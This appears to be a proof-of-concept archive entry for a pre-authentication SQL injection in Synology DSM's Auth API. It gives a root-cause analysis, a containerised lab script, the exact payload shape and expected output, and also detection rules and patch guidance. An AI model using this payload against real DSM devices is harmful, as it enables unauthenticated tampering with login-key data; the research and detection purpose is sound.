PoC Archive PoC Archive
CVE-2026-76954 / Synology-SA-26:19 category: web CVSS 9.8 (CRITICAL)
Unverified

Synology DSM Auth API Pre-Auth SQL Injection via Escape Truncation (CVE-2026-76954)

Published: 2026-11-25 • Researcher: Lê Hiếu (googlesky), repository owner; credited by the vendor: Nguyễn Bá Nam Dũng (@greengrass19000), Hà Thế Long (LongHT), Viettel Cyber Security Research Lab (@vcslab), and Warisse Valentin (Aytio)

Target software Synology DiskStation Manager (DSM) Auth API — libsyno-pam-login.so.7.0 (SynoPamKeyImpl::DBEscapeStrings), writing to syno-pam-key.db through libsynodb.so
Affected versions DSM before 7.2.1-69057-13, before 7.2.2-72806-10, before 7.3.2-86009-5, and before 7.4.1-90080-1 (NVD). The upstream lab confirms 7.2.1-69057-12, 7.2.2-72806, 7.3.2-86009 and 7.4.1-90080 as vulnerable
Status PoC (lab-only differential)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-76954 / Synology-SA-26:19
Category
web
Affected product
Synology DiskStation Manager (DSM) Auth API — libsyno-pam-login.so.7.0 (SynoPamKeyImpl::DBEscapeStrings), writing to syno-pam-key.db through libsynodb.so
Affected versions
DSM before 7.2.1-69057-13, before 7.2.2-72806-10, before 7.3.2-86009-5, and before 7.4.1-90080-1 (NVD). The upstream lab confirms 7.2.1-69057-12, 7.2.2-72806, 7.3.2-86009 and 7.4.1-90080 as vulnerable
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / ResearcherLê Hiếu (googlesky), repository owner; credited by the vendor: Nguyễn Bá Nam Dũng (@greengrass19000), Hà Thế Long (LongHT), Viettel Cyber Security Research Lab (@vcslab), and Warisse Valentin (Aytio)
CVE / AdvisoryCVE-2026-76954 / Synology-SA-26:19
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC (lab-only differential)
TagsSQLi, CWE-89, Synology DSM, Auth API, pre-auth, unauthenticated, escape-truncation, stacked-SQL, sqlite, PAM
RelatedN/A

Affected Target

FieldValue
Software / SystemSynology DiskStation Manager (DSM) Auth API — libsyno-pam-login.so.7.0 (SynoPamKeyImpl::DBEscapeStrings), writing to syno-pam-key.db through libsynodb.so
Versions AffectedDSM before 7.2.1-69057-13, before 7.2.2-72806-10, before 7.3.2-86009-5, and before 7.4.1-90080-1 (NVD). The upstream lab confirms 7.2.1-69057-12, 7.2.2-72806, 7.3.2-86009 and 7.4.1-90080 as vulnerable
Language / PlatformC/C++ proprietary DSM libraries; Linux x86_64 on Synology NAS; lab images run Ubuntu 22.04 containers
Authentication RequiredNo
Network Access RequiredYes

Summary

Synology DSM’s Auth API builds a SQLite INSERT for the per-device login key database and escapes each string field through a shared fixed 4096-byte buffer. The SQLite backend doubles single quotes and then truncates the escaped result with snprintf, so an input whose escaped form is exactly 4096 bytes loses one quote of a doubled pair at the cut. That odd quote count escapes the string literal in the generated statement, and the next attacker-controlled pre-auth field is parsed as raw SQL and executed as a stacked statement. An unauthenticated network attacker can read or write files and cause denial of service according to the vendor advisory; the public PoC demonstrates the split-quote primitive and a stacked CREATE TABLE against the real, unmodified DSM libraries.

Vulnerability Details

Root Cause

Each of the seven string fields written by SynoPamKeyImpl::Save (id, user, scope, key, attribute1, attribute2, extrainfo) is escaped by SynoPamKeyImpl::DBEscapeStrings, which in the affected builds calls SYNODBEscapeStringEX with a fixed 4096-byte global buffer. The SQLite backend in libsynodb.so implements that escape as sqlite3_mprintf("%q", input) followed by snprintf(out, 4096, "%s", escaped). Because %q doubles every single quote, an input of 4094 A characters plus one quote escapes to 4096 bytes, and snprintf keeps only 4095: 4094 A characters plus a lone quote.

SynoPamKeyImpl::Save then builds the INSERT with the escaped values as template constants. The dangling quote pairs with the template’s next quote, which swallows the comma separator, closes the string literal at the following template quote, and leaves the attacker-supplied user body as raw SQL. SYNODBExecute runs the statement through sqlite3_get_table, which executes stacked statements. The fixed builds replace the fixed-buffer escape with SYNODBEscapeStrAllocEX, which allocates 2*len+1 bytes and never truncates — the fix is a single call-site change, confirmed by the upstream function-by-function comparison of the vulnerable and fixed libraries.

Attack Vector

The device_id parameter of an Auth API login is attacker-controlled before authentication. It flows through SynoPAMLogin_V2, into the syno-otp-trust-device-id PAM environment entry, through pam_syno_otp.so in the webui PAM stack, and into SynoPamKey::SetID / SynoPamKey::Save, which writes a row to /usr/syno/etc/private/session/syno-pam-key.db. A login request whose device_id is 4094 A characters plus a single quote and whose user field starts with ,1,1,1,1,1,1,1); <SQL>; -- completes the eight-column VALUES list, terminates the INSERT, executes the injected statement, and comments out the remaining template.

The archived lab exposes this pre-auth path as POST /login and feeds the fields into the real library through a driver that calls the same exported SynoPamKey::* symbols. On a live DSM device the equivalent fields must reach the same pre-auth login path; the repository does not ship a turnkey client for the production HTTP API.

Impact

Arbitrary SQL execution in syno-pam-key.db, including stacked statements. The PoC’s observable impact is creation of the poc_marker table; arbitrary CREATE, DROP, INSERT and similar statements are equally possible within the database. The vendor advisory describes the impact as reading and writing arbitrary files and denial of service. Because the database holds per-device login keys used by the trust-device PAM stack, tampering with its rows can affect device-trust records. No memory corruption or code execution is involved, and the impact is bounded by the SQLite file and the privileges of the PAM/auth process.

Environment / Lab Setup

Output
OS:          Linux x86_64 with Podman (the scripts call podman; rootless or rootful)
Target:      Container running the real, unmodified Synology DSM 7.2.2-72806
             libsyno-pam-login.so.7.0 and libsynodb.so, plus the fixed
             7.2.2-72806-10 build; libraries reconstructed from public firmware
Attacker:    python:3.12-slim PoC runner container on the cve202676954lab network
Tools:       podman, python3 (stdlib only), g++, sqlite3, curl
Limits:      each container is bounded to --cpus 2 --memory 4g

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
./run-lab.sh prepare     # stage real libraries from public firmware (~10 min first run)
./run-lab.sh build       # build the lab image and the PoC runner image
./run-lab.sh up          # start vulnerable (7.2.2-72806) and fixed (7.2.2-72806-10)

./run-lab.sh check       # expect vulnerable=exit 1, fixed=exit 0
./run-lab.sh exploit     # expect vulnerable=exit 0, fixed=exit 1

./run-lab.sh probe       # boundary/field sweep, also the fixed-line 0-day sweep
./run-lab.sh mitigation  # vendor mitigation and edge-filter behaviour
./run-lab.sh matrix      # all four affected branches, vulnerable vs fixed
./run-lab.sh down

Use run-lab.sh rather than make: the committed Makefile still points at the pre-restructure lab/src/harness/Dockerfile path, so its build target does not match the current tree. The firmware must be downloaded from Synology’s public CDN; the proprietary libraries are not redistributed in the repository.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare and build the lab — ./run-lab.sh prepare reconstructs the vulnerable and fixed libsyno-pam-login.so.7.0 plus the shared libsynodb.so from public DSM firmware, then ./run-lab.sh build builds the Ubuntu-based lab image and the Python PoC runner.
  2. Start both services — ./run-lab.sh up starts cve202676954-vuln and cve202676954-fixed on the dedicated cve202676954lab bridge network. The vulnerable container selects libsyno-pam-login-vuln.so, the fixed one selects libsyno-pam-login-fixed.so.
  3. Send the crafted login — the payload sets device_id to 4094 A characters plus a single quote (escaped length 4096, truncated to 4095) and user to the injection body that closes the VALUES list and appends a stacked statement.
  4. Observe the generated SQL and database state — the lab’s LD_PRELOAD shim logs every statement handed to sqlite3_get_table; the service also reports the child exit code and whether poc_marker exists.
  5. Confirm the differential — the vulnerable library creates poc_marker; the fixed library stores the same payload as data and never creates the table.

Exploit Code

See exploit/exploit.py (standalone full-chain runner) and poc/cve202676954.py (four-mode PoC with documented exit codes). The lab harness is in lab/.

Minimal payload shape:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import json, urllib.request

payload = {
    "device_id": "A" * 4094 + "'",   # %q doubles the quote -> 4096, truncated to 4095
    "user": ",1,1,1,1,1,1,1); CREATE TABLE poc_marker(x); --",
    "scope": "webui", "key": "key-benign",
    "attribute1": "a1", "attribute2": "a2",
    "extrainfo": "extra", "enabled": 1,
}

req = urllib.request.Request(
    "http://cve202676954-vuln:8080/login",
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"},
)
print(json.load(urllib.request.urlopen(req))["db"]["tables"])
Shell script
1
2
./run-lab.sh exploit
python3 exploit/exploit.py http://cve202676954-vuln:8080

Expected Output

Vulnerable build (7.2.2-72806, truncated escape):

Output
1
2
3
4
5
6
7
target=http://cve202676954-vuln:8080 lib=libsyno-pam-login-vuln.so sha256=90992ce11f393944… escape_api=SYNODBEscapeStringEX
== exploit: full pre-auth chain ==
[exploit] lib=libsyno-pam-login-vuln.so sha256=90992ce11f393944… escape_api=SYNODBEscapeStringEX save_ok=True child_rc=0 marker=True
    generated SQL (tail): "AAAAAAAAAAAA'',',1,1,1,1,1,1,1); CREATE TABLE poc_marker(x); --','webui','key-benign','a1','a2','',1);"
[+] CONFIRMED IMPACT: arbitrary SQL executed in syno-pam-key.db; poc_marker table created by stacked statement
    DB tables: ['key', 'poc_marker']
poc exploit exit code: 0

Fixed build (7.2.2-72806-10, full-length escaping) stores the payload as data, leaves the literal balanced (sql_len=4281), and reports marker=False, exit code 1.

Detection & Indicators of Compromise

  • SQL handed to sqlite3_get_table for the key database with an unbalanced quote and a stacked statement, typically a long INSERT OR REPLACE INTO key(...) (around 4280 bytes when the exploit fires) followed by ; CREATE TABLE, ; DROP, ; ATTACH or similar.
  • Auth API login requests with an oversized device_id (near or above 4095 bytes, often a long run of one character ending in a quote) or with SQL metacharacters in user / sibling fields.
  • Unexpected table or row changes in /usr/syno/etc/private/session/syno-pam-key.db, or a key table row whose id is exactly 4095/4096 bytes.
  • PAM/webui authentication errors or crashes clustered with the above, especially on DSM builds older than the fixed versions.

Example SQL trace (lab LD_PRELOAD shim):

Output
1
[SQL] INSERT OR REPLACE INTO key( id,user,scope,key,attribute1,attribute2,extrainfo,enabled) VALUES ('AAAA…AAAA'',',1,1,1,1,1,1,1); CREATE TABLE poc_marker(x); --','webui',…

Example IDS rule (tune to the deployed Auth API encoding):

Output
1
2
3
alert http any any -> any any (msg:"Possible CVE-2026-76954 DSM Auth API oversized device_id"; \
  content:"device_id"; http_client_body; \
  pcre:"/device_id[^A]{0,32}A{4000,}/"; sid:9007695;)

The lab service accepts JSON on /login; production DSM request encoding and logging are documented in the references. Treat alerts as triage signals and confirm against the database state.

Remediation

ActionDetail
PatchUpgrade DSM to 7.2.1-69057-13, 7.2.2-72806-10, 7.3.2-86009-5 or 7.4.1-90080-1 (or later). The fix replaces the fixed-buffer escape with an allocating escape that never truncates.
WorkaroundSynology publishes no software workaround for CVE-2026-76954; the advisory requires upgrading. Reduce exposure by keeping the DSM Auth API and management interface off the public internet and restricting them to trusted networks.
Config HardeningIf the login path is exposed through a reverse proxy or WAF, cap device_id and the sibling escaped fields (strictly below 4000 bytes in the upstream tests) and bound the escaped length, not just the raw length; a naive 4096-byte cap does not stop the injection. Monitor writes to syno-pam-key.db and PAM/authentication logs.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-76954 on 2026-11-25.

Review verdict: this is a genuine proof of concept, not a detector or scanner. It exploits the truncating escape with the real, unmodified Synology libraries and reports confirmed database impact (a stacked CREATE TABLE poc_marker), with a benign control and a vulnerable-versus-fixed differential across all four affected branches. The upstream repository is MIT licensed (Copyright 2026 Lê Hiếu); the archived files retain attribution and the upstream README is included as upstream-README.md. The exploit scripts carry a research-only header added during ingestion.

Limitations: the PoC is lab-bound. It drives a purpose-built service that exposes the pre-auth device_id/user fields over POST /login and calls the exported SynoPamKey::* symbols through a C++ driver; it does not ship a client for the production DSM HTTP Auth API, so a real target must be reachable through the vendor’s actual login path. The proprietary libraries are not redistributed: prepare downloads roughly 1.5 GB of public firmware and recovers archive constants at build time, which requires network access and Podman. The committed Makefile still references a pre-restructure lab/src/harness/Dockerfile path, so use run-lab.sh. Expected output above is transcribed from the upstream evidence/ captures (not copied into this entry). No exploit code was executed during ingestion, and nothing here was tested against a live DSM device.

run-lab.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#!/usr/bin/env bash
#
# Containerised differential driver for CVE-2026-76954.
#
# Synology DSM Auth API pre-auth SQL injection (CWE-89): the truncating
# SYNODBEscapeStringEX escape used by SynoPamKeyImpl::DBEscapeStrings writes a
# %q-escaped field into a fixed 4096-byte buffer with snprintf. A payload whose
# escaped form exceeds 4095 bytes splits a doubled quote, leaves an unbalanced
# quote in the INSERT statement, and turns the next attacker-controlled field
# into raw SQL executed against syno-pam-key.db.
#
# The lab runs the REAL, unmodified Synology libraries inside containers:
# the vulnerable libsyno-pam-login.so.7.0 of 7.2.2-72806 and the fixed build
# shipped in 7.2.2-72806-10, against the real libsynodb.so of the same rootfs.
#
#   ./run-lab.sh prepare     download/decrypt public firmware, stage the libraries
#   ./run-lab.sh build       build the lab image and the PoC runner image
#   ./run-lab.sh up          start the vulnerable and fixed services
#   ./run-lab.sh down        stop both services
#   ./run-lab.sh check       classify both services without side effects beyond the probe row
#   ./run-lab.sh exploit     run the full injection chain against both services
#   ./run-lab.sh probe       boundary/field sweep (0-day sweep on the fixed line)
#   ./run-lab.sh mitigation  verify the vendor mitigation and edge filters
#   ./run-lab.sh matrix      version matrix: all four affected branches, vuln vs fixed
#   ./run-lab.sh evidence    capture every artefact into evidence/
#   ./run-lab.sh all         prepare + build + up + evidence + down
#
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$HERE"

# ---------------------------------------------------------------- variables
NETWORK="${NETWORK:-cve202676954lab}"
LAB_IMAGE="${LAB_IMAGE:-cve-2026-76954:vuln}"
FIXED_IMAGE="${FIXED_IMAGE:-cve-2026-76954:fixed}"
POC_IMAGE="${POC_IMAGE:-cve-2026-76954-poc:local}"
VULN_C="${VULN_C:-cve202676954-vuln}"
FIXED_C="${FIXED_C:-cve202676954-fixed}"
VULN_HOST="${VULN_HOST:-cve202676954-vuln}"
FIXED_HOST="${FIXED_HOST:-cve202676954-fixed}"
PORT="${PORT:-8080}"
CPU="${CPU:-2}"
MEM="${MEM:-4g}"
EVIDENCE="${EVIDENCE:-$HERE/evidence}"

mkdir -p "$EVIDENCE"

log() { printf '\n=== %s ===\n' "$*"; }

lab_image_exists() { podman image exists "$LAB_IMAGE"; }
poc_image_exists() { podman image exists "$POC_IMAGE"; }

# ------------------------------------------------------------------ prepare
do_prepare() {
    if [ -f "$HERE/lab/harness/lib/libsyno-pam-login-vuln.so" ] &&
       [ -f "$HERE/lab/harness/lib/libsyno-pam-login-fixed.so" ] &&
       [ -f "$HERE/lab/harness/lib/libsynodb.so" ]; then
        log "prepare: libraries already staged (delete lab/harness/lib to redo)"
        return 0
    fi
    bash "$HERE/lab/firmware/prepare.sh"
}

# -------------------------------------------------------------------- build
do_build() {
    log "building lab image"
    podman build -q -t "$LAB_IMAGE" -f lab/harness/Dockerfile lab/harness
    podman tag "$LAB_IMAGE" "$FIXED_IMAGE"
    if ! poc_image_exists; then
        log "building PoC runner image"
        podman build -q -t "$POC_IMAGE" -f poc/Dockerfile poc
    fi
}

# ---------------------------------------------------------------------- up
do_up() {
    log "starting services"
    podman network exists "$NETWORK" 2>/dev/null || podman network create "$NETWORK"
    podman rm -f "$VULN_C" "$FIXED_C" >/dev/null 2>&1 || true
    podman run -d --name "$VULN_C" --cpus "$CPU" --memory "$MEM" \
        --network "$NETWORK" --hostname "$VULN_HOST" \
        -e "PAMLOGIN_LIB=/opt/dsm/lib/libsyno-pam-login-vuln.so" \
        -e "LAB_PORT=$PORT" \
        --entrypoint python3 "$LAB_IMAGE" /opt/service.py
    podman run -d --name "$FIXED_C" --cpus "$CPU" --memory "$MEM" \
        --network "$NETWORK" --hostname "$FIXED_HOST" \
        -e "PAMLOGIN_LIB=/opt/dsm/lib/libsyno-pam-login-fixed.so" \
        -e "LAB_PORT=$PORT" \
        --entrypoint python3 "$FIXED_IMAGE" /opt/service.py
}

do_down() {
    log "stopping services"
    podman rm -f "$VULN_C" "$FIXED_C" >/dev/null 2>&1 || true
}

# ------------------------------------------------------------------ poc run
poc() { # poc <mode> <host> <outfile>  -> echoes the PoC exit code
    local mode="$1" host="$2" out="$3" rc
    log "poc $mode -> $host"
    set +e
    podman run --rm --cpus "$CPU" --memory 1g --network "$NETWORK" \
        -v "$EVIDENCE:/evidence" "$POC_IMAGE" "$mode" "http://$host:$PORT" \
        2>&1 | tee "$out"
    rc="${PIPESTATUS[0]}"
    set -e
    { echo "poc $mode exit code: $rc"; } | tee -a "$out" >/dev/null
    echo "poc $mode exit code: $rc"
    return 0
}

sql_dump() { # sql_dump <host> <outfile>
    podman run --rm --cpus "$CPU" --memory 1g --network "$NETWORK" \
        -v "$EVIDENCE:/evidence" --entrypoint python3 "$POC_IMAGE" \
        /poc/dump_sql.py "http://$1:$PORT" 2>&1 | tee "$2"
}

# ----------------------------------------------------------------- evidence
poc_rc() { grep -oE "exit code: [0-9]+" "$1" | tail -1 | grep -oE "[0-9]+"; }

do_check() {
    poc check "$VULN_HOST" "$EVIDENCE/check-vulnerable.txt"
    poc check "$FIXED_HOST" "$EVIDENCE/check-fixed.txt"
    local vrc frc
    vrc=$(poc_rc "$EVIDENCE/check-vulnerable.txt")
    frc=$(poc_rc "$EVIDENCE/check-fixed.txt")
    log "check exit codes: vulnerable=$vrc (expect 1) fixed=$frc (expect 0)"
    [ "$vrc" = "1" ] && [ "$frc" = "0" ]
}

do_exploit() {
    poc exploit "$VULN_HOST" "$EVIDENCE/exploit-vulnerable.txt"
    poc exploit "$FIXED_HOST" "$EVIDENCE/exploit-fixed.txt"
    local vrc frc
    vrc=$(poc_rc "$EVIDENCE/exploit-vulnerable.txt")
    frc=$(poc_rc "$EVIDENCE/exploit-fixed.txt")
    log "exploit exit codes: vulnerable=$vrc (expect 0) fixed=$frc (expect 1)"
    [ "$vrc" = "0" ] && [ "$frc" = "1" ]
}

do_probe() {
    poc probe "$VULN_HOST" "$EVIDENCE/probe-vulnerable.txt"
    poc probe "$FIXED_HOST" "$EVIDENCE/probe-fixed.txt"
}

do_mitigation() {
    poc mitigation "$VULN_HOST" "$EVIDENCE/mitigation-vulnerable.txt"
}

do_matrix() {
    log "version matrix (all four branches)"
    python3 "$HERE/lab/version-matrix.py" > "$EVIDENCE/version-matrix.txt"
    tail -n +1 "$EVIDENCE/version-matrix.txt"
}

do_sql() {
    sql_dump "$VULN_HOST" "$EVIDENCE/sql-vulnerable.txt"
    sql_dump "$FIXED_HOST" "$EVIDENCE/sql-fixed.txt"
}

do_escape_ground_truth() {
    log "escape ground truth (real libsynodb probe)"
    podman run --rm --cpus "$CPU" --memory 2g "$LAB_IMAGE" escape \
        > "$EVIDENCE/escape-probe.txt" 2>&1
    cat "$EVIDENCE/escape-probe.txt"
}

do_versions() {
    log "capturing versions"
    python3 - "$HERE/lab/harness/lib" > "$EVIDENCE/versions.txt" <<'PY'
import hashlib, sys
from pathlib import Path
libdir = Path(sys.argv[1])
names = ["libsyno-pam-login-vuln.so", "libsyno-pam-login-fixed.so",
         "pair-7.2.1-vuln.so", "pair-7.2.1-fixed.so",
         "pair-7.3.2-vuln.so", "pair-7.3.2-fixed.so",
         "pair-7.4.1-vuln.so", "pair-7.4.1-fixed.so", "libsynodb.so"]
print("# target library versions staged into the lab image (sha256, escape API)")
for n in names:
    p = libdir / n
    if not p.exists():
        print(f"(absent) {n}")
        continue
    data = p.read_bytes()
    api = "SYNODBEscapeStrAllocEX" if b"SYNODBEscapeStrAllocEX" in data else "SYNODBEscapeStringEX"
    print(f"{hashlib.sha256(data).hexdigest()}  {api:24s}  {n}")
PY
    cat "$EVIDENCE/versions.txt"
}

do_evidence() {
    do_escape_ground_truth
    do_check
    do_exploit
    do_probe
    do_mitigation
    do_sql
    do_versions
    do_matrix
    log "evidence captured into $EVIDENCE"
}

case "${1:-all}" in
    prepare)    do_prepare ;;
    build)      do_build ;;
    up)         do_up ;;
    down)       do_down ;;
    check)      do_check ;;
    exploit)    do_exploit ;;
    probe)      do_probe ;;
    mitigation) do_mitigation ;;
    matrix)     do_matrix ;;
    evidence)   do_evidence ;;
    versions)   do_versions ;;
    sql)        do_sql ;;
    all)
        do_prepare
        do_build
        do_up
        do_evidence
        do_down
        ;;
    *) echo "usage: $0 {prepare|build|up|down|check|exploit|probe|mitigation|matrix|evidence|all}"; exit 2 ;;
esac